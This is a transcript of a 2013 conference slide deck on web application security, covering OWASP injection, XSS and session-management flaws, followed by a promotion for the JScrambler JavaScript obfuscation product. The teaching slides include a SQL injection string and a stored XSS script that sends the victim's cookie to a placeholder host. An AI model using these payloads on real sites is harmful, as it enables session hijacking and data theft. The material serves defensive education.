pedro fortuna co-founder and cto
DESCRIPTION
Protecting the code of Web Applications. Pedro Fortuna Co-founder and CTO. ISEP, June 19th 2013. Agenda. + web. NEXT. Web Application Security. Where things went wrong?. GET /index.html. Content delivery system. Web Browser. Web Server. static text. Where things went wrong?. - PowerPoint PPT PresentationTRANSCRIPT
Pedro FortunaCo-founder and CTO
Protecting the code of Web Applications
ISEP, June 19th 2013
2
Web Application Security
JScrambler
JavaScript Obfuscation
Agenda
+webNEXT
Web Application Security
4
Where things went wrong?
Web Browser
Web Server
GET /index.html
static text
Content delivery system
5
Where things went wrong?
Web Browser
Web Server
GET /index.html
static text
Content delivery system
Web Browser
Web Server
GET /form.php?id=2&name=pedro%20fortuna
dynamically generated response
Application delivery systemDB
6
• Users can submit arbitrary data to the server• This includes all non-obvious sources of data that can be used
by the application (cookies, HTTP headers)• Data is mixed with all sorts of code (HTML, JavaScript, CSS, SQL)• Complex to filter, escape and output-encode data
Where things went wrong?
"uma frase aleatória"
"uma frase aleatória"
HTML escaping
<?PHP$place = 'Peter's Pizza';print $place;?>
DB
<?PHP$place = 'Peter\'s Pizza';print $place;?>
DB
PHP string escaping
7
OWASP Top 10 2010 edition
A1: Injection A2: Cross-Site Scripting (XSS)
A3: Broken Authentication and
Session Management
A4: Insecure Direct Object References
A5: Cross Site Request Forgery
(CSRF) A6: Security
MisconfigurationA7: Failure to
Restrict URL Access
A8: Insecure Cryptographic
Storage
A9: Insufficient Transport Layer
Protection
A10: Unvalidated Redirects and
Forwards
http://www.owasp.org/index.php/Top_10
8
A1 - Injection
•Tricking an application into including unintended commands in the data sent to an interpreter
Injection means…
•Take strings and interpret them as commands•SQL, OS Shell, LDAP, XPath, etc…
Interpreters…
•Many applications still susceptible•Even though it’s usually very simple to avoid
SQL injection is still quite common
•Usually severe. Entire database can usually be read or modified•May also allow full database schema, or account access, or even OS level access
Typical Impact
9
SQL Injection - Illustrated
Fire
wal
l
Hardened OS
Web Server
App Server
Fire
wal
l
Dat
abas
esLe
gacy
Sys
tem
sW
eb S
ervi
ces
Dire
ctor
ies
Hum
an R
esrc
sB
illin
g
Custom Code
APPLICATIONATTACK
Net
wor
k La
yer
App
licat
ion
Laye
r
Acc
ount
sFi
nanc
eA
dmin
istra
tion
Tran
sact
ions
Com
mun
icat
ion
Kno
wle
dge
Mgm
tE-
Com
mer
ceB
us. F
unct
ions
HTTP request
SQL
queryDB Table
HTTP respons
e
"SELECT * FROM accounts WHERE acct=‘’ OR 1=1--’"
1. Application presents a form to the attacker2. Attacker sends an attack in the form data3. Application forwards attack to the database in a SQL query
Account Summary
Acct:5424-6066-2134-4334Acct:4128-7574-3921-0192Acct:5424-9383-2039-4029Acct:4128-0004-1234-0293
4. Database runs query containing attack and sends encrypted results back to application5. Application decrypts data as normal and sends results to the user
Account:
SKU:
Account:
SKU:
10
• Recommendations1. Avoid the interpreter entirely, or2. Use an interface that supports bind variables (e.g., prepared statements, or
stored procedures),• Bind variables allow the interpreter to distinguish between code and data
3. Encode all user input before passing it to the interpreter– Always perform ‘white list’ input validation on all user supplied input– Always minimize database privileges to reduce the impact of a flaw
• References– For more details, read http://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
A1 – Avoiding Injection Flaws
11
A2 – Cross-Site Scripting (XSS)
• Raw data from attacker is sent to an innocent user’s browser
Occurs any time…
• Stored in database• Reflected from web input (form field, hidden field, URL, etc…)• Sent directly into rich JavaScript client
Raw data…
• Try this in your browser – javascript:alert(document.cookie)
Virtually every web application has this problem
• Steal user’s session, steal sensitive data, rewrite web page, redirect user to phishing or malware site
• Most Severe: Install XSS proxy which allows attacker to observe and direct all user’s behavior on vulnerable site and force user to other sites
Typical Impact
12
Cross-Site Scripting (XSS) Illustrated
Application with stored XSS vulnerability
3
2
Attacker sets the trap – update my profile
Attacker enters a malicious script into a web page that stores the data on the server
1
Victim views page – sees attacker profile
Script silently sends attacker Victim’s session cookie
Script runs inside victim’s browser with full access to the DOM and cookies
Custom Code
Acc
ount
sFi
nanc
eA
dmin
istra
tion
Tran
sact
ions
Com
mun
icat
ion
Kno
wle
dge
Mgm
tE-
Com
mer
ceB
us. F
unct
ions
Hello my name is Peter<script>XSSImage=new Image; XSSImage.src="http://1.2.3.4/catcher?cookie="+document.cookie);</script>
13
• Recommendations– Eliminate Flaw
• Don’t include user supplied input in the output page– Defend Against the Flaw
• Primary Recommendation: Output encode all user supplied input (Use OWASP’s ESAPI to output encode:http://www.owasp.org/index.php/ESAPI
• Perform ‘white list’ input validation on all user input to be included in page• For large chunks of user supplied HTML, use OWASP’s AntiSamy to sanitize this HTML to
make it safe See: http://www.owasp.org/index.php/AntiSamy
• References– For how to output encode properly, read the new
http://www.owasp.org/index.php/XSS_(Cross Site Scripting) Prevention Cheat Sheet
A2 – Avoiding XSS flaws
14Safe Escaping Schemes in Various HTML Execution Contexts
CSS Style Property Values
(e.g., .pdiv a:hover {color: red; text-decoration: underline} )
JavaScript Data(e.g., <script> some javascript </script> )
HTML Attribute Values(e.g., <input name='person' type='TEXT'
value='defaultValue'> )
HTML Element Content(e.g., <div> some text to display </div> )
URI Attribute Values(e.g., <a href="javascript:toggle('lesson')" )
#4: All non-alphanumeric < 256 \HHESAPI: encodeForCSS()
#3: All non-alphanumeric < 256 \xHHESAPI: encodeForJavaScript()
#1: ( &, <, >, " ) &entity; ( ', / ) &#xHH;ESAPI: encodeForHTML()
#2: All non-alphanumeric < 256 &#xHHESAPI: encodeForHTMLAttribute()
#5: All non-alphanumeric < 256 %HHESAPI: encodeForURL()
Recommendation: Only allow #1 and #2 and disallow all othersSee: www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet for more details
15A3 – Broken Authentication and Session Management
• Means credentials have to go with every request• Should use SSL for everything requiring authentication
HTTP is a “stateless” protocol
• SESSION ID used to track state since HTTP doesn’t• and it is just as good as credentials to an attacker
• SESSION ID is typically exposed on the network, in browser, in logs, …
Session management flaws
• Change my password, remember my password, forgot my password, secret question, logout, email address, etc…
Beware the side-doors
• User accounts compromised or user sessions hijacked
Typical Impact
16A3 – Broken Authentication Illustrated
Custom Code
Acc
ount
sFi
nanc
eA
dmin
istr
atio
nTr
ansa
ctio
nsC
omm
unic
atio
nK
now
ledg
e M
gmt
E-C
omm
erce
Bus
. Fun
ctio
ns
1 User sends credentials
2Site uses URL rewriting(i.e., put session in URL)
3 User clicks on a link to http://www.hacker.com in a forum
www.foo.com?JSESSIONID=9FA1DB9EA...
4Hacker checks referer logs on
www.hacker.comand finds user’s JSESSIONID
5 Hacker uses JSESSIONID and takes over victim’s account
17
• Verify your architecture– Authentication should be simple, centralized, and standardized– Use the standard session id provided by your framework (e.g. PHP Zend)– Be sure SSL protects both credentials and session id at all times
• Verify the implementation– Check your SSL certificate– Examine all the authentication-related functions– Verify that logoff actually destroys the session– Make the session expire – Make the session unmovable (function(IP_ADDRESS))
• Follow the guidance from– http://www.owasp.org/index.php/Authentication_Cheat_Sheet
A3 – Avoiding Broken Authentication and Session Management
+JSNEXT
JScrambler
19
Who we are ?
Vision: we believe that the strongest approach to Web Security should be to put the 1st line of defense on the client-side
Mission: to be a leader in Web Application Protection technology
Vision/Mission
Top Web Security Team30Y of combined experience
Being advised by Pereira Ventures in its International Expansion
The Company
Leaders in JavaScript Obfuscation since 2010Started in late 2008
Following the vision that software and data are migrating rapidly to the web, but security isn’t evolving at the same pace.
Innovative Web Security Solutions
The Start
Top 100 European Startup in 2009
In the European Unlimited Eurecan European Contest
Awards
20
Web Traffic
Auditing
What do we do?
Security Services
Web Application
Security
JavaScript Source code protection Obfuscates JS/HTML5 WebAppsProtects the code from being stolen, inspected, tampered with
Enterprise Web Application Protection against Man int the Browser and other security attacks
21
What is the world’s most popular language ?
22
3+ Years Protecting Apps
Release History
+3 YEARS
PROTECTIN
G W
EB APPLICATIO
NS
2010-04Beta version
2010-101.0 released
2012-062.0 released
2013-043.0 released
JS lines of code
120MILLION
PROTECTED
106
Countries 5000
Clients
23
Customer
“JScrambler results look promising”
ROVIO
JScrambler Feedback
Customer
"We are trying to push the envelope and it’s good to have a nimble partner that is aggressive at achieving this”
RSA SECURITY
NEWS
“JScrambler does seem to offer the most complete solution. Out of the box, it should work with most of the standard libraries”
TECHCRUNCH
24
JavaScript
HTML5/JavaScript
Mobile Web Applications
Web Games
Obfuscation
JScrambler
JavaScript
Domain Lock
Expiration Date
Anti-debugging
Code Execution ControlJavaScript
Code Simplification
Dead Code Removal
Compression
Optimization
State of the art Web Application Protection and Optimization
25
JScramblerObfuscation: The art of making code unreadable
26
JScramblerCode Execution Control
Expiration Date
Anti Debugging
Domain Lock
27
NEXTJavaScript Obfuscation
28
NEXT
We look forward for you contact and feedback
Questions
29
Contact Us
Porto HeadquartersEdifício Central da UPTECRua Alfredo Allen, 4554200-135 Porto, Portugal
auditmark.com
Lisbon OfficeRua da Prata 121 5º A 1100-415 Lisboa Portugal
Pedro FortunaCTO [email protected]+351 917331552